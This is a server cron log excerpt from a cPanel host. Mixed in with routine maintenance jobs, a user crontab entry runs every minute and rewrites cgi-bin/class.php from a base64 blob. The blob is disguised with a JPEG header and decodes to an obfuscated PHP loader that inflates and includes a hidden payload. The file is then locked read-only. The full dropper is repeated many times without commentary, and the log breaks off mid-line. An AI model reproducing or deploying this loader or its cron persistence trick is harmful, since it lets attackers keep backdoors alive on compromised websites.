Sep 12 06:54:01 server CROND[11446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:54:01 server CROND[11447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:54:01 server CROND[11448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:55:01 server CROND[11845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:55:01 server CROND[11846]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 06:55:01 server CROND[11857]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 06:55:01 server CROND[11858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:55:01 server CROND[11861]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:55:01 server CROND[11860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:55:01 server CROND[11859]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:56:01 server CROND[12820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:56:01 server CROND[12821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:56:01 server CROND[12822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:57:01 server CROND[13217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:57:01 server CROND[13218]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 06:57:01 server CROND[13220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:57:01 server CROND[13219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:58:01 server CROND[13603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:58:01 server CROND[13604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:58:01 server CROND[13605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:59:01 server CROND[13995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:59:01 server CROND[13994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:59:01 server CROND[13996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:00:01 server CROND[14392]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 07:00:01 server CROND[14397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:00:01 server CROND[14393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:00:01 server CROND[14398]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 07:00:01 server CROND[14396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:00:01 server CROND[14399]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 07:00:01 server CROND[14408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:00:01 server CROND[14410]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 07:00:01 server CROND[14406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:01:01 server CROND[15223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:01:01 server CROND[15225]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 07:01:01 server CROND[15224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:01:01 server CROND[15226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:01:01 server run-parts(/etc/cron.hourly)[15225]: starting 0anacron
Sep 12 07:01:01 server run-parts(/etc/cron.hourly)[15244]: finished 0anacron
Sep 12 07:02:01 server CROND[15683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:02:01 server CROND[15684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:02:01 server CROND[15685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:03:01 server CROND[16101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:03:01 server CROND[16102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:03:01 server CROND[16100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:04:01 server CROND[16490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:04:01 server CROND[16492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:04:01 server CROND[16491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:05:01 server CROND[16894]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:05:01 server CROND[16895]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 07:05:01 server CROND[16897]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 07:05:01 server CROND[16900]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 07:05:01 server CROND[16904]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:05:01 server CROND[16906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiY